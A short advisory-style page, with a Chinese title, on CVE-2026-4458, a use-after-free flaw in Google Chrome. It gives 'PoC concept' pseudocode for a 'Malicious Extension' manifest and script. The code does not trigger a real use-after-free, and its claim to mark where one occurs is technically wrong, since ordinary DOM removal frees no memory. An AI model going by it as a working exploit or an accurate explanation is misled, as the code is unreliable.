CVE-2026-4458 Google Chrome释放后使用漏洞

// PoC Concept for CVE-2026-4458 // This is a simplified representation of the extension code that triggers the UAF. // manifest.json /* { "manifest_version": 3, "name": "Malicious Extension", "version": "1.0", "background": { "service_worker": "exploit.js" }, "permissions": ["tabs", "scripting"] } */ // exploit.js // The actual trigger involves complex object manipulation. // This pseudocode demonstrates the logic. let vulnerableObject = null; function triggerUAF() { // Step 1: Create an object that Chrome Extensions will manage vulnerableObject = document.createElement('div'); // Step 2: Setup a handler that will access the object later setTimeout(() => { // Step 3: Force the underlying C++ object to be freed // (Simulated by removing reference or specific API call) vulnerableObject.remove(); // Step 4: Attempt to access the freed memory // This is where the Use-After-Free occurs console.log(vulnerableObject.innerHTML); }, 100); } // In a real exploit, heap grooming would happen here to control the freed memory. triggerUAF();